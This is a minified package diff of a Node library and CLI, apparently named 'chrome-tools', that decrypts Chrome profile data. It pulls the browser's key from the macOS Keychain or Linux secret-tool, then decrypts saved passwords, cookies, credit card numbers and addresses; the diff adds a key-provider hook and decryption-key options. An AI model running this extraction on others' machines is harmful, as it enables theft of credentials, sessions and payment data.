r=R(["Rank","Title","URL"],[8,30,80]);for(const o of e)r.push([s.yellow(String(o.rank+1)),s.white(o.title||"—"),s.cyan(o.url)]);console.log(r.toString()),E("top site(s)",e.length)},F(e)));try{z.parse()}catch(o){(function(o){return!!f(o)&&(console.error(s.red.bold("\n🔑 No keychain access\n")),console.error(s.yellow("chrome-tools couldn't read the browser's encryption key from your macOS\nKeychain, so passwords and other encrypted data can't be decrypted.")),console.error(s.dim("\n"+o.message+"\n")),!0)})(o)||console.error(s.red(`\n✖ ${o?.message??String(o)}\n`)),process.env.DEBUG&&console.error(o),process.exit(1)}
|
|
@@ -17,6 +17,16 @@ export declare class KeychainAccessError extends Error {
|
|
|
17
17
|
* Keychain permission (denied/dismissed prompt, locked, or non-interactive).
|
|
18
18
|
*/
|
|
19
19
|
export declare function isKeychainAccessDenied(err: unknown): err is KeychainAccessError;
|
|
20
|
+
export type KeychainPasswordProvider = (service: string) => string;
|
|
21
|
+
/**
|
|
22
|
+
* Returns the current global keychain password provider hook.
|
|
23
|
+
*/
|
|
24
|
+
export declare function getKeychainPasswordProvider(): KeychainPasswordProvider | null;
|
|
25
|
+
/**
|
|
26
|
+
* Sets the global keychain password provider hook, allowing downstream apps (like Electron)
|
|
27
|
+
* to intercept keychain password lookups and resolve them (e.g. via native node-keytar).
|
|
28
|
+
*/
|
|
29
|
+
export declare function setKeychainPasswordProvider(provider: KeychainPasswordProvider | null): void;
|
|
20
30
|
/**
|
|
21
31
|
* Retrieves a browser's "Safe Storage" password from the macOS Keychain.
|
|
22
32
|
* Caches the result per service for subsequent calls within the same process.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{execFileSync as e}from"node:child_process";import{pbkdf2Sync as n}from"node:crypto";const t=Buffer.from("saltysalt"),r="Chrome Safe Storage",
|
|
1
|
+
import{execFileSync as e}from"node:child_process";import{pbkdf2Sync as n}from"node:crypto";const t=Buffer.from("saltysalt"),r="Chrome Safe Storage",o=44,s=36,i=45;export class KeychainAccessError extends Error{service;kind;constructor(e,n,t){super(e),this.name="KeychainAccessError",this.service=n,this.kind=t}get isAccessDenied(){return"access-denied"===this.kind}}export function isKeychainAccessDenied(e){return e instanceof KeychainAccessError&&e.isAccessDenied}const c=new Map,a=new Map;function d(e,n,t){const r="See docs/remote-keychain-access.md for non-interactive / SSH setup.";let c,a;n===o||/could not be found/i.test(t)?(c="not-found",a=`No '${e}' item found in the Keychain.\nRun this browser at least once on this machine so it creates the key.`):n===s||/interaction.*not allowed/i.test(t)?(c="access-denied",a="The Keychain needs a GUI authorization prompt that can't be shown here "+(Boolean(process.env.SSH_CONNECTION||process.env.SSH_TTY)||!process.env.TERM_PROGRAM?"(you appear to be on a remote/SSH session).\n":".\n")+'Authorize once from a GUI Terminal (click "Always Allow"), then unlock the\nkeychain in this session:\n security unlock-keychain ~/Library/Keychains/login.keychain-db\n'+r):n===i?(c="access-denied",a=`Keychain authorization failed (wrong password or denied).\nTry: security unlock-keychain ~/Library/Keychains/login.keychain-db\n${r}`):(c="access-denied",a=`macOS showed a Keychain access prompt that was denied or dismissed.\nRe-run the command and click "Allow" (or "Always Allow"), or authorize once with:\n security find-generic-password -w -s "${e}"\n${r}`);const d=[null!==n?`exit ${n}`:null,t||null].filter(Boolean).join(": ");return new KeychainAccessError(`Could not retrieve ${e} key from macOS Keychain.\n${a}`+(d?`\n(security: ${d})`:""),e,c)}let h=null;export function getKeychainPasswordProvider(){return h}export function setKeychainPasswordProvider(e){h=e}export function getKeychainPassword(n=r){const t=c.get(n);if(void 0!==t)return t;let o;if(h)o=h(n);else try{o=e("security",["find-generic-password","-w","-s",n],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim()}catch(e){const{status:t,stderr:r}=function(e){const n=e;return{status:"number"==typeof n?.status?n.status:null,stderr:(n?.stderr??"").toString().trim()}}(e);throw d(n,t,r)}if(!o)throw new KeychainAccessError(`Keychain returned an empty ${n} key.\nThe item may exist with no password. Re-run the browser to recreate it.`,n,"empty");return c.set(n,o),o}export function getChromeKeychainPassword(){return getKeychainPassword(r)}export function deriveEncryptionKey(e=r,o){const s=a.get(e);if(void 0!==s)return s;const i=o||getKeychainPassword(e);if(!i)throw new Error("Keychain password cannot be empty for key derivation.");const c=n(i,t,1003,16,"sha1");return a.set(e,c),c}export function clearKeychainCache(){c.clear(),a.clear()}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{execFileSync as
|
|
1
|
+
import{execFileSync as r}from"node:child_process";import{homedir as o}from"node:os";import{join as t}from"node:path";import{pbkdf2Sync as e}from"node:crypto";import{decryptValueBuffer as n}from"../crypto.js";import{getActiveBrowser as i}from"../browsers.js";import{getKeychainPasswordProvider as p}from"../keychain.js";const c=Buffer.from("saltysalt"),s=new Map;export const linux={name:"linux",getDefaultChromeDir(){const r=process.env.XDG_CONFIG_HOME||t(o(),".config");return t(r,...i().dirs.linux.split("/"))},getDecryptionKey(){const o=i().linuxSecretApp||"chrome",t=s.get(o);if(void 0!==t)return t;const n=e(function(o){const t=p();if(t)return t(o);try{const t=r("secret-tool",["lookup","application",o],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim();if(t)return t}catch{}return"peanuts"}(o),c,1,16,"sha1");return s.set(o,n),n},decrypt:(r,o)=>n(r,o),clearCache(){s.clear()}};
|
package/dist/src/index.d.ts
CHANGED
|
@@ -13,7 +13,7 @@
|
|
|
13
13
|
export { getDefaultChromeDir, discoverProfiles, getProfileMetadata, getProfileStates, resolveProfilePath, resolveTargetProfiles, detectInstalledBrowsers, type DiscoveredProfile, type ProfileMetadata, type ProfileState, type ResolveProfilesOptions, type InstalledBrowser, } from "./core/chrome.js";
|
|
14
14
|
export { BROWSERS, listBrowsers, resolveBrowser, getActiveBrowser, setActiveBrowser, type BrowserId, type BrowserDescriptor, } from "./core/browsers.js";
|
|
15
15
|
export { selectPlatform, getPlatformChromeDir, deriveEncryptionKey, decryptValue, decryptValueBuffer, clearKeyCache, type ChromePlatform, } from "./core/platform/index.js";
|
|
16
|
-
export { getKeychainPassword, getChromeKeychainPassword, clearKeychainCache, } from "./core/keychain.js";
|
|
16
|
+
export { getKeychainPassword, getChromeKeychainPassword, clearKeychainCache, setKeychainPasswordProvider, getKeychainPasswordProvider, type KeychainPasswordProvider, } from "./core/keychain.js";
|
|
17
17
|
export { chromeTimeToDate, } from "./core/crypto.js";
|
|
18
18
|
export { queryDatabase, tableExists, } from "./core/db.js";
|
|
19
19
|
export { getPasswords } from "./modules/passwords.js";
|
package/dist/src/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
export{getDefaultChromeDir,discoverProfiles,getProfileMetadata,getProfileStates,resolveProfilePath,resolveTargetProfiles,detectInstalledBrowsers}from"./core/chrome.js";export{BROWSERS,listBrowsers,resolveBrowser,getActiveBrowser,setActiveBrowser}from"./core/browsers.js";export{selectPlatform,getPlatformChromeDir,deriveEncryptionKey,decryptValue,decryptValueBuffer,clearKeyCache}from"./core/platform/index.js";export{getKeychainPassword,getChromeKeychainPassword,clearKeychainCache}from"./core/keychain.js";export{chromeTimeToDate}from"./core/crypto.js";export{queryDatabase,tableExists}from"./core/db.js";export{getPasswords}from"./modules/passwords.js";export{getBookmarks}from"./modules/bookmarks.js";export{getHistory,getSearchTerms}from"./modules/history.js";export{getCookies}from"./modules/cookies.js";export{getLocalStorage}from"./modules/local-storage.js";export{getAutofillEntries,getCreditCards,getAddresses}from"./modules/autofill.js";export{getDownloads}from"./modules/downloads.js";export{getExtensions}from"./modules/extensions.js";export{getSearchEngines}from"./modules/search-engines.js";export{getTopSites}from"./modules/top-sites.js";
|
|
1
|
+
export{getDefaultChromeDir,discoverProfiles,getProfileMetadata,getProfileStates,resolveProfilePath,resolveTargetProfiles,detectInstalledBrowsers}from"./core/chrome.js";export{BROWSERS,listBrowsers,resolveBrowser,getActiveBrowser,setActiveBrowser}from"./core/browsers.js";export{selectPlatform,getPlatformChromeDir,deriveEncryptionKey,decryptValue,decryptValueBuffer,clearKeyCache}from"./core/platform/index.js";export{getKeychainPassword,getChromeKeychainPassword,clearKeychainCache,setKeychainPasswordProvider,getKeychainPasswordProvider}from"./core/keychain.js";export{chromeTimeToDate}from"./core/crypto.js";export{queryDatabase,tableExists}from"./core/db.js";export{getPasswords}from"./modules/passwords.js";export{getBookmarks}from"./modules/bookmarks.js";export{getHistory,getSearchTerms}from"./modules/history.js";export{getCookies}from"./modules/cookies.js";export{getLocalStorage}from"./modules/local-storage.js";export{getAutofillEntries,getCreditCards,getAddresses}from"./modules/autofill.js";export{getDownloads}from"./modules/downloads.js";export{getExtensions}from"./modules/extensions.js";export{getSearchEngines}from"./modules/search-engines.js";export{getTopSites}from"./modules/top-sites.js";
|
|
@@ -17,6 +17,7 @@ export interface CreditCardOptions {
|
|
|
17
17
|
chromeDir?: string;
|
|
18
18
|
profile?: string;
|
|
19
19
|
browser?: string;
|
|
20
|
+
decryptionKey?: Buffer;
|
|
20
21
|
}
|
|
21
22
|
export interface CreditCardEntry {
|
|
22
23
|
profile: string;
|
|
@@ -65,7 +66,7 @@ export declare function getAutofillEntries({ chromeDir, profile, browser, search
|
|
|
65
66
|
* @param options - Targeting options.
|
|
66
67
|
* @returns Array of credit card entries.
|
|
67
68
|
*/
|
|
68
|
-
export declare function getCreditCards({ chromeDir, profile, browser }?: CreditCardOptions): CreditCardEntry[];
|
|
69
|
+
export declare function getCreditCards({ chromeDir, profile, browser, decryptionKey }?: CreditCardOptions): CreditCardEntry[];
|
|
69
70
|
/**
|
|
70
71
|
* Retrieves saved addresses from Chrome's Web Data database.
|
|
71
72
|
*
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{join as e}from"node:path";import{resolveTargetProfiles as t}from"../core/chrome.js";import{deriveEncryptionKey as o,decryptValue as n}from"../core/platform/index.js";import{chromeTimeToDate as r}from"../core/crypto.js";import{queryDatabase as i,tableExists as a}from"../core/db.js";export function getAutofillEntries({chromeDir:o,profile:n,browser:d,search:c,limit:s=100}={}){const u=t({chromeDir:o,profile:n,browser:d}),l=[];for(const t of u){const o=e(t.path,"Web Data");try{if(!a(o,"autofill"))continue;let e="SELECT name, value, date_created, date_last_used, count\n FROM autofill ORDER BY date_last_used DESC";s&&(e+=` LIMIT ${parseInt(s,10)}`);const n=i(o,e);for(const e of n){const o={profile:t.name,name:e.name||"",value:e.value||"",dateCreated:r(e.date_created?1000000n*BigInt(e.date_created)+11644473600000000n:0),dateLastUsed:r(e.date_last_used?1000000n*BigInt(e.date_last_used)+11644473600000000n:0),count:e.count||0};if(c){const e=c.toLowerCase();if(!(o.name&&o.name.toLowerCase().includes(e)||o.value&&o.value.toLowerCase().includes(e)))continue}l.push(o)}}catch{}}return l}export function getCreditCards({chromeDir:d,profile:c,browser:s}={}){const
|
|
1
|
+
import{join as e}from"node:path";import{resolveTargetProfiles as t}from"../core/chrome.js";import{deriveEncryptionKey as o,decryptValue as n}from"../core/platform/index.js";import{chromeTimeToDate as r}from"../core/crypto.js";import{queryDatabase as i,tableExists as a}from"../core/db.js";export function getAutofillEntries({chromeDir:o,profile:n,browser:d,search:c,limit:s=100}={}){const u=t({chromeDir:o,profile:n,browser:d}),l=[];for(const t of u){const o=e(t.path,"Web Data");try{if(!a(o,"autofill"))continue;let e="SELECT name, value, date_created, date_last_used, count\n FROM autofill ORDER BY date_last_used DESC";s&&(e+=` LIMIT ${parseInt(s,10)}`);const n=i(o,e);for(const e of n){const o={profile:t.name,name:e.name||"",value:e.value||"",dateCreated:r(e.date_created?1000000n*BigInt(e.date_created)+11644473600000000n:0),dateLastUsed:r(e.date_last_used?1000000n*BigInt(e.date_last_used)+11644473600000000n:0),count:e.count||0};if(c){const e=c.toLowerCase();if(!(o.name&&o.name.toLowerCase().includes(e)||o.value&&o.value.toLowerCase().includes(e)))continue}l.push(o)}}catch{}}return l}export function getCreditCards({chromeDir:d,profile:c,browser:s,decryptionKey:u}={}){const l=t({chromeDir:d,profile:c,browser:s}),f=u||o(),m=[];for(const t of l){const o=e(t.path,"Web Data");try{if(!a(o,"credit_cards"))continue;const e=i(o,"SELECT guid, name_on_card, expiration_month, expiration_year,\n card_number_encrypted, date_modified, origin, use_count,\n use_date, nickname\n FROM credit_cards ORDER BY use_date DESC");for(const o of e){let e="";o.card_number_encrypted&&(e=n(o.card_number_encrypted,f)),m.push({profile:t.name,guid:o.guid||"",nameOnCard:o.name_on_card||"",expirationMonth:o.expiration_month||0,expirationYear:o.expiration_year||0,cardNumber:e,nickname:o.nickname||"",origin:o.origin||"",useCount:o.use_count||0,dateModified:r(o.date_modified?1000000n*BigInt(o.date_modified)+11644473600000000n:0)})}}catch{}}return m}export function getAddresses({chromeDir:o,profile:n,browser:d}={}){const c=t({chromeDir:o,profile:n,browser:d}),s=[];for(const t of c){const o=e(t.path,"Web Data");try{if(!a(o,"autofill_profiles"))continue;const e=i(o,"SELECT guid, company_name, street_address, dependent_locality,\n city, state, zipcode, country_code, date_modified,\n origin, use_count, use_date, language_code\n FROM autofill_profiles ORDER BY use_date DESC");let n=[],d=[],c=[];try{a(o,"autofill_profile_names")&&(n=i(o,"SELECT guid, first_name, middle_name, last_name, full_name FROM autofill_profile_names"))}catch{}try{a(o,"autofill_profile_emails")&&(d=i(o,"SELECT guid, email FROM autofill_profile_emails"))}catch{}try{a(o,"autofill_profile_phones")&&(c=i(o,"SELECT guid, number FROM autofill_profile_phones"))}catch{}const u=new Map;for(const e of n)u.set(e.guid,e.full_name||[e.first_name,e.middle_name,e.last_name].filter(Boolean).join(" "));const l=new Map;for(const e of d)l.set(e.guid,e.email||"");const f=new Map;for(const e of c)f.set(e.guid,e.number||"");for(const o of e)s.push({profile:t.name,guid:o.guid||"",fullName:u.get(o.guid)||"",email:l.get(o.guid)||"",phone:f.get(o.guid)||"",companyName:o.company_name||"",streetAddress:o.street_address||"",city:o.city||"",state:o.state||"",zipcode:o.zipcode||"",countryCode:o.country_code||"",origin:o.origin||"",useCount:o.use_count||0,dateModified:r(o.date_modified?1000000n*BigInt(o.date_modified)+11644473600000000n:0)})}catch{}}return s}
|
|
@@ -6,6 +6,7 @@ export interface CookieOptions {
|
|
|
6
6
|
url?: string;
|
|
7
7
|
decrypt?: boolean;
|
|
8
8
|
limit?: number;
|
|
9
|
+
decryptionKey?: Buffer;
|
|
9
10
|
}
|
|
10
11
|
export interface CookieEntry {
|
|
11
12
|
profile: string;
|
|
@@ -31,7 +32,7 @@ declare function pathMatch(urlPath: string, cookiePath: string): boolean;
|
|
|
31
32
|
* @param options - Targeting and filtering options.
|
|
32
33
|
* @returns Array of cookie entries.
|
|
33
34
|
*/
|
|
34
|
-
export declare function getCookies({ chromeDir, profile, browser, domain, url, decrypt, limit, }?: CookieOptions): CookieEntry[];
|
|
35
|
+
export declare function getCookies({ chromeDir, profile, browser, domain, url, decrypt, limit, decryptionKey, }?: CookieOptions): CookieEntry[];
|
|
35
36
|
export declare const _test: {
|
|
36
37
|
parseURL: typeof parseURL;
|
|
37
38
|
getPossibleHostKeys: typeof getPossibleHostKeys;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{join as t}from"node:path";import{createHash as e}from"node:crypto";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as n,decryptValueBuffer as s}from"../core/platform/index.js";import{chromeTimeToDate as r}from"../core/crypto.js";import{queryDatabase as i,tableExists as c}from"../core/db.js";function a(t,o,n){const r=s(t,o);if(!Buffer.isBuffer(r))return r;const i=e("sha256").update(n).digest();return(r.length>=i.length&&r.subarray(0,i.length).equals(i)?r.subarray(i.length):r).toString("utf-8")}function u(t){if(!t)return null;try{return new URL(t)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(t))return new URL("https://"+t)}catch{}}return null}function p(t){const e=new Set;e.add(t),e.add("."+t);const o=t.split(".");for(let t=1;t<o.length;t++){const n=o.slice(t).join(".");e.add(n),e.add("."+n)}return Array.from(e)}function h(t,e){return t===e||!(!e.startsWith(".")||t!==e.slice(1)&&!t.endsWith(e))}function l(t,e){const o=t||"/",n=e||"/";return"/"===n||(o===n||!(!o.startsWith(n)||!n.endsWith("/")&&"/"!==o[n.length]))}export function getCookies({chromeDir:e,profile:s,browser:f,domain:m,url:d,decrypt:
|
|
1
|
+
import{join as t}from"node:path";import{createHash as e}from"node:crypto";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as n,decryptValueBuffer as s}from"../core/platform/index.js";import{chromeTimeToDate as r}from"../core/crypto.js";import{queryDatabase as i,tableExists as c}from"../core/db.js";function a(t,o,n){const r=s(t,o);if(!Buffer.isBuffer(r))return r;const i=e("sha256").update(n).digest();return(r.length>=i.length&&r.subarray(0,i.length).equals(i)?r.subarray(i.length):r).toString("utf-8")}function u(t){if(!t)return null;try{return new URL(t)}catch{try{if(!/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(t))return new URL("https://"+t)}catch{}}return null}function p(t){const e=new Set;e.add(t),e.add("."+t);const o=t.split(".");for(let t=1;t<o.length;t++){const n=o.slice(t).join(".");e.add(n),e.add("."+n)}return Array.from(e)}function h(t,e){return t===e||!(!e.startsWith(".")||t!==e.slice(1)&&!t.endsWith(e))}function l(t,e){const o=t||"/",n=e||"/";return"/"===n||(o===n||!(!o.startsWith(n)||!n.endsWith("/")&&"/"!==o[n.length]))}export function getCookies({chromeDir:e,profile:s,browser:f,domain:m,url:d,decrypt:y=!0,limit:_=100,decryptionKey:g}={}){const k=o({chromeDir:e,profile:s,browser:f}),j=y?g||n():null,x=[],R=u(d);for(const e of k){const o=t(e.path,"Cookies");try{if(!c(o,"cookies"))continue;let t="SELECT host_key, name, value, encrypted_value, path,\n expires_utc, is_secure, is_httponly, samesite,\n creation_utc, last_access_utc\n FROM cookies";const n=[],s=[];if(m)n.push("host_key LIKE ?"),s.push(`%${m}%`);else if(R){const t=p(R.hostname),e=t.map(()=>"?").join(", ");n.push(`host_key IN (${e})`),s.push(...t)}n.length>0&&(t+=` WHERE ${n.join(" AND ")}`),t+=" ORDER BY host_key, name",_&&!d&&(t+=` LIMIT ${parseInt(_,10)}`);const u=i(o,t,s);for(const t of u){if(R){if(!h(R.hostname,t.host_key||""))continue;if(!l(R.pathname||"/",t.path||"/"))continue;if(t.is_secure&&"https:"!==R.protocol)continue}let o=t.value||"";!o&&t.encrypted_value&&j&&(o=a(t.encrypted_value,j,t.host_key||"")),x.push({profile:e.name,domain:t.host_key||"",name:t.name||"",value:o,path:t.path||"/",expires:r(t.expires_utc||0),secure:Boolean(t.is_secure),httpOnly:Boolean(t.is_httponly),sameSite:["unspecified","lax","strict","none"][t.samesite]||"unspecified",created:r(t.creation_utc||0),lastAccessed:r(t.last_access_utc||0)})}}catch{}}return _&&d?x.slice(0,parseInt(_,10)):x}export const _test={parseURL:u,getPossibleHostKeys:p,domainMatch:h,pathMatch:l};
|
|
@@ -3,9 +3,14 @@ export interface PasswordOptions {
|
|
|
3
3
|
profile?: string;
|
|
4
4
|
browser?: string;
|
|
5
5
|
search?: string;
|
|
6
|
+
decryptionKey?: Buffer;
|
|
6
7
|
}
|
|
8
|
+
/** Which on-disk store a password came from. */
|
|
9
|
+
export type PasswordSource = "device" | "account";
|
|
7
10
|
export interface PasswordEntry {
|
|
8
11
|
profile: string;
|
|
12
|
+
/** "device" = local "Login Data"; "account" = synced "Login Data For Account". */
|
|
13
|
+
source?: PasswordSource;
|
|
9
14
|
url?: string;
|
|
10
15
|
username?: string;
|
|
11
16
|
password?: string;
|
|
@@ -13,9 +18,11 @@ export interface PasswordEntry {
|
|
|
13
18
|
error?: string;
|
|
14
19
|
}
|
|
15
20
|
/**
|
|
16
|
-
* Extracts and decrypts saved passwords from Chrome's
|
|
21
|
+
* Extracts and decrypts saved passwords from Chrome's password databases.
|
|
22
|
+
* Reads both the device-local and account-synced stores, labelling each entry
|
|
23
|
+
* with its `source` (no de-duplication across the two).
|
|
17
24
|
*
|
|
18
25
|
* @param options - Options for profile selection and filtering.
|
|
19
26
|
* @returns Array of decrypted password entries.
|
|
20
27
|
*/
|
|
21
|
-
export declare function getPasswords({ chromeDir, profile, search, browser }?: PasswordOptions): PasswordEntry[];
|
|
28
|
+
export declare function getPasswords({ chromeDir, profile, search, browser, decryptionKey }?: PasswordOptions): PasswordEntry[];
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as e,decryptValue as s}from"../core/platform/index.js";import{chromeTimeToDate as t}from"../core/crypto.js";import{queryDatabase as
|
|
1
|
+
import{join as r}from"node:path";import{resolveTargetProfiles as o}from"../core/chrome.js";import{deriveEncryptionKey as e,decryptValue as s}from"../core/platform/index.js";import{chromeTimeToDate as t}from"../core/crypto.js";import{queryDatabase as c,tableExists as n}from"../core/db.js";const a=[{file:"Login Data",source:"device"},{file:"Login Data For Account",source:"account"}];export function getPasswords({chromeDir:i,profile:u,search:l,browser:f,decryptionKey:m}={}){const p=o({chromeDir:i,profile:u,browser:f}),d=m||e(),_=[],g=l?.toLowerCase();for(const o of p)for(const e of a){const a=r(o.path,e.file);try{if(!n(a,"logins"))continue;const r=c(a,"SELECT origin_url, username_value, password_value, date_last_used\n FROM logins ORDER BY origin_url");for(const c of r){const r={profile:o.name,source:e.source,url:c.origin_url,username:c.username_value,password:s(c.password_value,d),lastUsed:t(c.date_last_used||0)};(!g||r.url&&r.url.toLowerCase().includes(g)||r.username&&r.username.toLowerCase().includes(g))&&_.push(r)}}catch(r){_.push({profile:o.name,source:e.source,error:r.message})}}return _.filter(r=>!r.error)}
|